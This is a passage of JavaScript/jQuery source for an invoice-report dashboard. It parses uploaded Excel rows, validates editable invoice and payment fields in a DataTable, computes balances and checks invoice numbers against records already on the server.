    $("#pendingInvoiceReportsDetailsTable_wrapper .buttons-excel").addClass('btn btn-theme-type1').html(`<span>Excel <i class="fa fa-download pl-3"></i></span>`);
}
// --------------------------end--------------------------------------------

//-------------------- pending invoice upload excel-------------------------
$("#uploadPendingInvoiceReportsExportBtn").click(()=>{
   let fileName="uploadPendingInvoiceReports";
   let maxRecords=200;
   let headingListArray=['S.No', 'SiteId', 'Project', 'StageOf Audit',
                         'SiteVisit Date', 'EmpId', 'EmpName', 'TL Id',
                         'TL Name', 'PONo', 'Report Date(yyyy-mm-dd)', 'Report Remarks',
                         'Invoice Date(yyyy-mm-dd)', 'InVoiceNo',	'Invoice Value',
                         'Payment Date(yyyy-mm-dd)', 'Payment Value',
                         'Payment Remarks', 'Balance'];
   let excelJson=getJsonFromUploadExcel(fileName, headingListArray, maxRecords); // in main js/ readExcelTemplate.js
   excelJson.then((result)=>{
       afterSuccessfullyExtractedJsonFromExcel(result);
   });
//   $(".updateInvoiceBtn_Th, .updateInvoiceBtn_Td").addClass('d-none');
   $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validate").show();
   $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .submit").hide();
   $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validatingMsg").empty();
   $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .viewErrorLocation.btn").addClass("d-none");
});
function afterSuccessfullyExtractedJsonFromExcel(json){
    console.log(json);
    PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON=json;
    let sortBySite_empId_siteVisitDate=()=>{
        json.sort((a,b)=>{
            if(a["SiteId"] && a["EmpId"] && a["SiteVisit Date"]){
                let comparedSiteId=a["SiteId"].localeCompare(b["SiteId"]);//siteId
                let comparedEmpId=a["EmpId"].localeCompare(b["EmpId"]);//empId
                let comparedSiteDate=a["SiteVisit Date"].localeCompare(b["SiteVisit Date"]);//siteDate
                if(comparedSiteId!=0){
                    return comparedSiteId;
                }else if(comparedEmpId!=0){
                    return comparedEmpId;
                }else{
                    return comparedSiteDate;
                }
            }
        });
    }
    sortBySite_empId_siteVisitDate();
    // console.log(json);
    $(".updateAndUploadInvoiceExcelDiv").addClass("afterUploadExcelTemplate");
    let clasObj=new pendingInvoiceTable();
    let tableBodyUi=clasObj.getDynamicPendingInvoiceTable(json);

    if($.fn.DataTable.isDataTable("#pendingInvoiceUpdatedTableDiv_table")){
        $("#pendingInvoiceUpdatedTableDiv_table").DataTable().clear().destroy();
    }
    $("#pendingInvoiceUpdatedTableDiv_table tbody").html(tableBodyUi);
    $("#pendingInvoiceUpdatedTableDiv_table").DataTable({
                                                        dom:'lBfrtip',
                                                        buttons:[{extend:'excelHtml5', title:'invoices and Report'}],
                                                        aLengthMenu:[[-1],['All']],
                                                        pageLength:-1,
                                                        bDestroy: true,
                                                        bAutoWidth: false,
                                                        sScrollX: true,
                                                        sScrollXInner: "100%"
    });
    // $('#container').css( 'display', 'block' );
     $($.fn.DataTable.tables(true)).DataTable().columns.adjust();
}


   //-------------------------------on change functionality--------------------------------
   $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.poNo_Td input',function(){
     let currentEditingPOInput=$(this);
     let value=currentEditingPOInput.val();
     let refIndex=currentEditingPOInput.parent("td").attr("data-index");
     let requiredError=currentEditingPOInput.attr("error");
     if(!checkInvalidFormate(value)){
        PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidPONumber"]="NoErrorFound";    //  error bucket update        // in pendingInVoiceDetailsExcelDynamic.js
        currentEditingPOInput.siblings('span.errorMsg').remove();
        currentEditingPOInput.removeClass('border-danger');
        if(requiredError=="true"){
            currentEditingPOInput.attr("error","false");
            PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
        }
     }else{
        PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidPONumber"]="Error";
        let isErrorAlreadyExist=$(currentEditingPOInput).next('span.errorMsg').length;
        if(!isErrorAlreadyExist){
            $(`<span class="errorMsg invalidPONumber text-danger font-weight-bold">Required</span>`).insertAfter(currentEditingPOInput);
            currentEditingPOInput.addClass('border-danger');
        }
     }
     PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["PONo"]=value;          // exceljson update
   });


   $("#pendingInvoiceUpdatedTableDiv_table").on('change', 'td.reportSubmittedDate_Td input', function(){
       let thisInput=$(this);
       let value=thisInput.val();
       let refIndex=thisInput.parent("td").attr("data-index");
       let requiredError=thisInput.attr("error");
       let returnVal=validateDateFormate(value);
       if(value==''){
           if(requiredError=="false"){
                thisInput.attr("error","true");
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]++;
                let isErrorAlreadyExist=$(thisInput).next("span.errorMsg").length;
                if(!isErrorAlreadyExist){
                    $(`<span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`).insertAfter(thisInput);
                    thisInput.addClass('border-danger');
                }else{
                    $(thisInput).next("span.errorMsg").html("Required");
                }
            }
       }else{
           if(returnVal['validDate']==true && validateDateValue(value)){
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidReportDate"]="NoErrorFound";        //  error bucket update        // in pendingInVoiceDetailsExcelDynamic.js
                thisInput.siblings("span.errorMsg").remove();
                thisInput.removeClass("border-danger");
                if(requiredError=="true"){
                    thisInput.attr("error","false");
                    PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
                }
           }else{                                                                                       // mostly else wont come because user cnt select invalid formate in input date
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidReportDate"]="Error";
                let isErrorAlreadyExist=$(thisInput).next("span.errorMsg").length;
                if(!isErrorAlreadyExist){
                    $(`<span class="errorMsg invalidReportDate text-danger font-weight-bold">Invalid Date</span>`).insertAfter(thisInput);
                    thisInput.addClass('border-danger')
                }else{
                    $(thisInput).next("span.errorMsg").html("Invalid Date");
                }
            }
       }
       PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["Report Date(yyyy-mm-dd)"]=value;
       
    //      console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
    //  console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
   })
   
  $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.reportRemarks_Td textarea',function(){
      let thisTextArea=$(this);
      let value=thisTextArea.val();
      let refIndex=thisTextArea.parent("td").attr("data-index");
      if(value.length<=300){
          PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["reportRemarkExceedMaxLimit"]="NoErrorFound";
          thisTextArea.removeClass("border-danger");
          thisTextArea.siblings("span.errorMsg").remove();
          PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["Report Remarks"]=value;
      }
    //  console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
    //  console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
  });
  
  $("#pendingInvoiceUpdatedTableDiv_table").on('change', 'td.invoiceDate_Td input', function(){
        let thisInput=$(this);
        let value=thisInput.val();
        let refIndex=thisInput.parent("td").attr('data-index');
        let requiredError=thisInput.attr('error');
        let returnVal=validateDateFormate(value);
        if(value==''){
            if(requiredError=="false"){
                thisInput.attr("error","true");
                let isErrorAlreadyExist=$(thisInput).next("span.errorMsg").length;
                if(!isErrorAlreadyExist){
                    $(`<span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`).insertAfter(thisInput);
                    thisInput.addClass("border-danger");
                }else{
                    $(thisInput).next("span.errorMsg").html("Required");
                }
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]++;
            }
        }else{
            if(returnVal['validDate']==true && validateDateValue(value)){
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidInvoiceDate"]="NoErrorFound";
                thisInput.siblings("span.errorMsg").remove();
                thisInput.removeClass("border-danger");
                if(requiredError=="true"){
                    thisInput.attr("error","false");    
                    PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
                }
            }else{
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidInvoiceDate"]="Error";
                let isErrorAlreadyExist=$(thisInput).next("span.errorMsg").length;
                if(!isErrorAlreadyExist){
                    $(`<span class="errorMsg invalidInvoiceDate text-danger font-weight-bold">Invalid Date</span>`).insertAfter(thisInput);
                     thisInput.addClass('border-danger');
                }else{
                    $(thisInput).next("span.errorMsg").html("Invalid Date");
                }
            }
        }
        PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["Invoice Date(yyyy-mm-dd)"]=value;
        
        // console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
        // console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
  });
  
  $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.invoiceNo_Td input', function(){
      let thisInput=$(this);
      let value=thisInput.val().replaceAll(' ','_');
      value= isNaN(value) ? value.toUpperCase() : value; // convert to upppercase if not number
        thisInput.val(value);
      let refIndex=thisInput.parent("td").attr("data-index");
      let parent_Tr= thisInput.closest("tr");
      let requiredError=thisInput.attr("error");
      let removeAndAddClass=()=>{ //if Already InvoiceClass There Remove And AddNewClasss
          parent_Tr.removeClass(function(index, className){
              return (className.match (/\binvoiceNo_\S+/g) || []).join(' ');
          }).addClass(convertToClassNameFormate("invoiceNo_"+value+"_tr"));
      }                     
      
      if(!checkInvalidFormate(value)){                                          // return true if invalid formate.
        removeAndAddClass();
        PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidInvoiceNo"]="NoErrorFound";                      //  error bucket update        // in pendingInVoiceDetailsExcelDynamic.js  
        thisInput.siblings('span.errorMsg').remove();
        thisInput.removeClass('border-danger');
        if(requiredError=="true"){
            thisInput.attr("error","false");
            PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
        }
      }else{
          PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidInvoiceNo"]="Error";
          let isErrorAlreadyExist=thisInput.next("span.errorMsg").length;
          if(!isErrorAlreadyExist){
            $(`<span class="errorMsg invalidInvoiceNo text-danger font-weight-bold">Required</span>`).insertAfter(thisInput);
            thisInput.addClass("border-danger");
          }
      }
      PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["InVoiceNo"]=value;                       //exceljson upadate
        //   console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
        // console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
  });
  
  
  $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.invoiceValue_Td input',function(){
      let thisInput=$(this);
      let value=thisInput.val();
      let refIndex=thisInput.parent("td").attr("data-index");
      let requiredError=thisInput.attr("error");
      if(value=='' || value==0){
            if(requiredError=="false"){
                thisInput.attr("error","true");
                let isErrorAlreadyExist=thisInput.next("span.errorMsg").length;
                if(!isErrorAlreadyExist){
                    $(`<span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`).insertAfter(thisInput);
                    thisInput.addClass("border-danger");
                }else{
                    thisInput.next("span.errorMsg").html("Required");
                }
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]++;
            }
            
      }else{
          if(!isNaN(value)){ //NaN is ->not a number 
              PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidInvoiceValue"]="NoErrorFound";
              thisInput.siblings("span.errorMsg").remove();
              thisInput.removeClass("border-danger");
              if(requiredError=="true"){
                  thisInput.attr("error","false");
                  PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
              }
          }else{
            PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidInvalidValue"]="Error";
            let isErrorAlreadyExist =thisInput.next("span.errorMsg").length;
            if(!isErrorAlreadyExist){
                $(`<span class="errorMsg invalidInvalidValue text-danger font-weight-bold">Invalid</span>`).insertAfter(thisInput);
                thisInput.addClass("border-danger");
            }else{
                $(thisInput).next("span.errorMsg").html("Invalid");
            }
          }
      }
      PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]['Invoice Value']=value;                 //exceljson update
      updateRemainingBalance(refIndex);
    //   console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
    //   console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
      
  });
   
   $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.paymentDate_Td input',function(){
       let thisInput=$(this);
       let value=thisInput.val();
       let refIndex=thisInput.parent("td").attr("data-index");
       let requiredError=thisInput.attr("error");
       let returnVal=validateDateFormate(value);
       if(value==''){
           let paymentValue=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]['Payment Value'];
           if(paymentValue==0 || paymentValue==null || paymentValue==''){
               thisInput.removeClass("border-danger");
               thisInput.siblings("span.errorMsg").remove();
           }else{
               if(requiredError=="false"){
                    thisInput.attr("error","true");
                    PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]++;
                    let isErrorAlreadyExist=thisInput.next("span.errorMsg").length;
                    if(!isErrorAlreadyExist){
                        $(`<span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`).insertAfter(thisInput);
                        thisInput.addClass("border-danger");
                    }else{
                       thisInput.next("span.errorMsg").html("Required");
                   }
               }
           }
       }else{
           if(returnVal['validDate']==true && validateDateValue(value)){
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentDate"]="NoErrorFound";
                thisInput.siblings("span.errorMsg").remove();
                thisInput.removeClass("border-danger");
           }else{
               PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentDate"]="Error";
               let isErrorAlreadyExist=thisInput.next("span.errorMsg").length;
               if(!isErrorAlreadyExist){
                   $(`<span class="errorMsg invalidPaymentDate text-danger font-weight-bold">Invalid Date</span>`).insertAfter(thisInput);
                   thisInput.addClass("border-danger");
               }else{
                   thisInput.next("span.errorMsg").html("Invalid Date");
               }
           }
            if(requiredError=="true"){
                thisInput.attr("error","false");
                PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
            }
       }
       PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["Payment Date(yyyy-mm-dd)"]=value;
    //       console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
    //   console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
   });
   
   $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.paymentValue_Td input',function(){
       let thisInput=$(this);
       let value=thisInput.val();
       let refIndex=thisInput.parent("td").attr("data-index");
       
       let siteId=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]['SiteId'];
       let empId=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]['EmpId'];
       let siteVisitDate=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]['SiteVisit Date'];
       let uniqueId=convertToClassNameFormate(siteId+"_"+empId+"_"+siteVisitDate);
       let thisPaymentDateInput=$(`#pendingInvoiceUpdatedTableDiv_table tr.${uniqueId} td.paymentDate_Td input`);
       let requiredError=thisPaymentDateInput.attr("error");
       let checkRequiredErrorTrue=()=>{
           if(requiredError=="true"){
               thisPaymentDateInput.attr("error","false");
               thisPaymentDateInput.removeClass("border-danger");
               thisPaymentDateInput.siblings("span.errorMsg").remove();
               PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]--;
           }
       }
       if(value>0){
            if(thisPaymentDateInput.val()){
                checkRequiredErrorTrue();
            }else{
               if(requiredError=="false"){
                    thisPaymentDateInput.attr("error","true");
                    PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["requiredFieldMissingCount"]++;
                    let isErrorAlreadyExist=thisPaymentDateInput.next("span.errorMsg").length;
                    if(!isErrorAlreadyExist){
                        $(`<span class="errorMsg requiredFieldMissingCount text-danger  font-weight-bold">Required</span>`).insertAfter(thisPaymentDateInput);
                        thisPaymentDateInput.addClass("border-danger");
                    }else{
                        thisPaymentDateInput.next("span.errorMsg").html("Required");
                    }
               }
           }
       }else{
           checkRequiredErrorTrue();
           thisInput.val(0);
           value=0;
       }
       PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentValue"]="NoErrorFound";
       thisInput.siblings("span.errorMsg").remove();
       thisInput.removeClass("border-danger");
       PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["Payment Value"]=value;
       
       updateRemainingBalance(refIndex);
       
    //   console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
    //   console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
       
    });
    $("#pendingInvoiceUpdatedTableDiv_table").on('change','td.paymentRemarks_Td textarea',function(){
        let thisTextArea=$(this);
        let value=thisTextArea.val();
        let refIndex=thisTextArea.parent("td").attr("data-index");
        if(value.length<=300){
          PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]["paymentRemarkExceedMaxLimit"]="NoErrorFound";
          thisTextArea.removeClass("border-danger");
          thisTextArea.siblings("span.errorMsg").remove();
          PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]["Payment Remarks"]=value;
        }
    //  console.log("error",PENDING_INVOICE_ERROR_BUCKET_ARRAY[refIndex]);
    //  console.log("Exceljson",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex]);
  });
   
   function updateRemainingBalance(refIndex){
    let currentEditingJsonObj=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON[refIndex];
    let uniqueId=convertToClassNameFormate(currentEditingJsonObj["SiteId"]+"_"+currentEditingJsonObj["EmpId"]+"_"+currentEditingJsonObj["SiteVisit Date"]);
    let invoiceValue=currentEditingJsonObj["Invoice Value"];
    let paymentValue=currentEditingJsonObj["Payment Value"];
        invoiceValue=invoiceValue ? invoiceValue: 0;
        paymentValue=paymentValue ? paymentValue:0;
    let remainingBalance=Number(invoiceValue)-Number(paymentValue);
    $(`#pendingInvoiceUpdatedTableDiv_table tr.${uniqueId} td.remainingBalance_Td input`).val(remainingBalance); //ui update
        currentEditingJsonObj["Balance"]=remainingBalance;  //json update
   }
  
   
   $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validate").click(function(){
       let thisValidateBtn=$(this);
       let isError=checkErrors();
       console.log("isError",isError);
        if(isError["error"]){// if error
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .viewErrorLocation.btn").removeClass("d-none");
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .viewErrorLocation.btn").attr("data-navigatetoclass",isError["type"]);
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="font-weight-bold text-danger">Error ${isError["type"]}</span>`);
        }else{// if no errors
            //proceed to submit
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .viewErrorLocation.btn").addClass("d-none");
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validatingMsg").html('');
            
            let obj={
                invoices:[...new Set(PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_UNIQUE_INVOICE_NUMBERS_ARRAY)]     // making array unique
            }
            let postContent=JSON.stringify(obj);
            thisValidateBtn.html(`Validate<i class="fa fa-spinner fa-spin ml-3"></i>`);
            getAlreadyExistingInvoicesInServer(postContent,thisValidateBtn);
            //console.log();
        }
    });
    
    function getAllInvoiceIds_and_divideExcelJsonInTwoArray_siteAllocations_InvoiceDetails(){
        PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_UNIQUE_INVOICE_NUMBERS_ARRAY=[]; 
        PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY=[];// making empty every time
        PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_SITE_ALLOCATION_ARRAY=[];// making empty every time
        
        let insertInOnlyInvoiceNoArray=(value)=>{
                PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_UNIQUE_INVOICE_NUMBERS_ARRAY.push(value.InVoiceNo);
        }
        let insertInInvoiceDetailsArray=(value)=>{
            let tempObj={
                "invoiceNo":value["InVoiceNo"],
                "invoiceDate":value["Invoice Date(yyyy-mm-dd)"],
                "invoiceValue":value["Invoice Value"],
                "paymentDate":value["Payment Date(yyyy-mm-dd)"],
                "paymentRemarks":value["Payment Remarks"],
                "paymentValue":value["Payment Value"],
                // "reportDate":value["Report Date(yyyy-mm-dd)"],
                // "reportRemarks":value["Report Remarks"],
                "remainingBalance":value["Balance"]
            }
            // let notExist=-1;
            // let index=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.findIndex(currentObj=>currentObj.invoiceNo==value["InVoiceNo"]);
            // if(index==notExist){// duplicate records not allowed
                PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.push(tempObj);
            // }
        }
            
        let insertInSiteAllocationsArray=(value)=>{
            let tempObj={
                "empId":value["EmpId"],
                "siteId":value["SiteId"],
                "siteVisitDate":value["SiteVisit Date"],
                "invoiceNo":value["InVoiceNo"],
                "poNo":value["PONo"]
            }
            PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_SITE_ALLOCATION_ARRAY.push(tempObj);
        }
        
        PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON.forEach(function(value){
            insertInOnlyInvoiceNoArray(value);
            insertInSiteAllocationsArray(value);
            insertInInvoiceDetailsArray(value);
        });
    }
    function getAlreadyExistingInvoicesInServer(postContent, validateBtn){
        let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Invoice/getInvoicesAlreadyExist.php',postContent);
        responseData.then((result)=>{
            validateBtn.html(`Validate`);
            if(result.responseData.length){ // is not =0
                validateExistingInvoiceDetailsInServerToInvoiceDetailsEnterInUploadedExcel(result.responseData);// same invoices 
                ALREADY_EXISTING_INVOICES_IN_SERVER_JSON=result.responseData;
            }
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .submit").html("Submit").show();
            $("#pendingInvoiceUpdatedTableDiv_table input, #pendingInvoiceUpdatedTableDiv_table select, #pendingInvoiceUpdatedTableDiv_table textarea").attr("readonly","true");
            $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validate").hide();
        })
        .catch((error)=>{
            validateBtn.html(`Retry <i class="fa fa-undo ml-3"></i>`);
            console.log(error);
        })
    }
    function validateExistingInvoiceDetailsInServerToInvoiceDetailsEnterInUploadedExcel(invoicesArray){
        invoicesArray.forEach(function(invoiceObj, invoiceLoopIndex){
            PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON.forEach(function(excelArrayObj){
                let mismatch=false;
                let tooltipTitle= `data-toggle="tooltip" title="These Invoice Details already exist in DataBase Mismatched, click on update button in this row to update Invoice details"`;
                if(invoiceObj.INVOICE_NUMBER == excelArrayObj.InVoiceNo){
                    removeInvoiceDetailsFromExportedExcelWhichAlreadyExistInServer(invoiceObj.INVOICE_NUMBER);
                    let uniqueId=convertToClassNameFormate(excelArrayObj.SiteId+"_"+excelArrayObj.EmpId+"_"+excelArrayObj["SiteVisit Date"]);
                    
                    if(invoiceObj.INVOICE_RISED_ON != excelArrayObj["Invoice Date(yyyy-mm-dd)"]){// invoice Date
                        let tableTd=$(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .invoiceDate_Td`);
                        tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                        if(!tableTd.children(".warningMsg").length){
                            tableTd.append(`<span class=" warningMsg text-warning" ${tooltipTitle}>${invoiceObj.INVOICE_RISED_ON}</span>`);
                        }
                        mismatch=true;
                    }
                    if(invoiceObj.INVOICE_VALUE != excelArrayObj["Invoice Value"]){  // invoice Value
                        let tableTd = $(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .invoiceValue_Td`);
                        tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                        if(!tableTd.children(".warningMsg").length){
                            tableTd.append(`<span class="warningMsg text-warning"   ${tooltipTitle}>${invoiceObj.INVOICE_VALUE}</span>`);
                        }
                        mismatch=true;
                    }
                    if(invoiceObj.PAYMENT_RECEIVED_ON != excelArrayObj["Payment Date(yyyy-mm-dd)"]){
                        let tableTd=$(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .paymentDate_Td`);
                        tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                        if(!tableTd.children(".warningMsg").length){
                            tableTd.append(`<span class=" warningMsg text-warning"  ${tooltipTitle}>${invoiceObj.PAYMENT_RECEIVED_ON}</span>`);
                        }
                        mismatch=true;
                    }
                    if(invoiceObj.PAYMENT_RECEIVED_VALUE != excelArrayObj["Payment Value"]){
                        let tableTd=$(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .paymentValue_Td`);
                        tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                        if(!tableTd.children(".warningMsg").length){
                            tableTd.append(`<span class=" warningMsg text-warning"  ${tooltipTitle}>${invoiceObj.PAYMENT_RECEIVED_VALUE}</span>`);  
                        }
                        mismatch=true;
                    }
                    if(invoiceObj.REMAINING_BALANCE_IF_ANY != excelArrayObj["Balance"]){
                        let tableTd=$(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .remainingBalance_Td`);
                        tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                        if(!tableTd.children(".warningMsg").length){
                            tableTd.append(`<span class=" warningMsg text-warning"  ${tooltipTitle}>${invoiceObj.REMAINING_BALANCE_IF_ANY}</span>`);
                        }
                        mismatch=true;
                    }
                    if(invoiceObj.PAYMENT_REMARKS != excelArrayObj["Payment Remarks"]){
                        let tableTd = $(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .paymentRemarks_Td`);
                        tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                        if(!tableTd.children(".warningMsg").length){
                            tableTd.append(`<span class="warningMsg text-warning" ${tooltipTitle}> ${invoiceObj.PAYMENT_REMARKS}</span>`);
                        }
                        mismatch=true;
                    }
                    // if(invoiceObj.REPORT_SUBMITED_TO_CUSTOMER_ON != excelArrayObj["Report Date(yyyy-mm-dd)"]){
                    //     let tableTd=$(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .reportSubmittedDate_Td`);
                    //     tableTd.addClass(`${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}`);
                    //     if(!tableTd.children(".warningMsg").length){
                    //         tableTd.append(`<span class=" warningMsg text-warning"  ${tooltipTitle}>${invoiceObj.REPORT_SUBMITED_TO_CUSTOMER_ON}</span>`);
                    //     }
                    //     mismatch=true;
                    // }
                    if(mismatch){
                        $(`#pendingInvoiceUpdatedTableDiv_table .${uniqueId} .updateInvoiceBtn_Td`).html(`<button class="updateInvoiceDetailsModalPopUpBtn btn btn-theme-type1" data-index="${invoiceLoopIndex}" data-invoice-refNo="${convertToClassNameFormate(invoiceObj.INVOICE_NUMBER)}" data-toggle="modal" data-target="#commonModalPopup">Update</button>`);
                    }
                    
                }
            });
           
        });
    }
    function removeInvoiceDetailsFromExportedExcelWhichAlreadyExistInServer(invoiceNo){
        // console.log("PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY);
        // console.log("invoiceNo",invoiceNo);
        let noOfElementsToDeleteInAry=1;
        PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.forEach(function(value, index){
            if(value.invoiceNo == invoiceNo){
                // console.log("index",index);
                PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.splice(index, noOfElementsToDeleteInAry);
            }
        });
    }
    
    $(".updateAndUploadInvoiceExcelDiv .viewErrorLocation.btn").on('click', function(){
        let errorClassName=$(this).attr("data-navigatetoclass");
        $("html, body").animate({
            scrollTop:
                ($("."+errorClassName).offset().top + -100)
        },1000)
    });
    function checkErrors(){
        let returnArray=[];
            returnArray["error"]=false;// initially
        
        let validateExcelTemplateData=()=>{
            let errorKeyArray=["duplicateEntries","invalidEntries","invalidInvoiceDate","invalidInvoiceNo",
            "invalidInvoiceValue","invalidPONumber","invalidPaymentDate","invalidPaymentValue",
            "invalidReportDate","paymentRemarkExceedMaxLimit","reportRemarkExceedMaxLimit","requiredFieldMissingCount"];
            
            for(let i=0;i<PENDING_INVOICE_ERROR_BUCKET_ARRAY.length;i++){
                for(let innerLoopIndex=0;innerLoopIndex<errorKeyArray.length;innerLoopIndex++){
                    let result=PENDING_INVOICE_ERROR_BUCKET_ARRAY[i][errorKeyArray[innerLoopIndex]];
                    // console.log(result);
                    if(result=="Error" || (result!=0 && result!="NoErrorFound")){ // not equal to 0 if requiredFieldMissingCount having error
                        returnArray["error"]=true;
                        returnArray["type"]=errorKeyArray[innerLoopIndex];
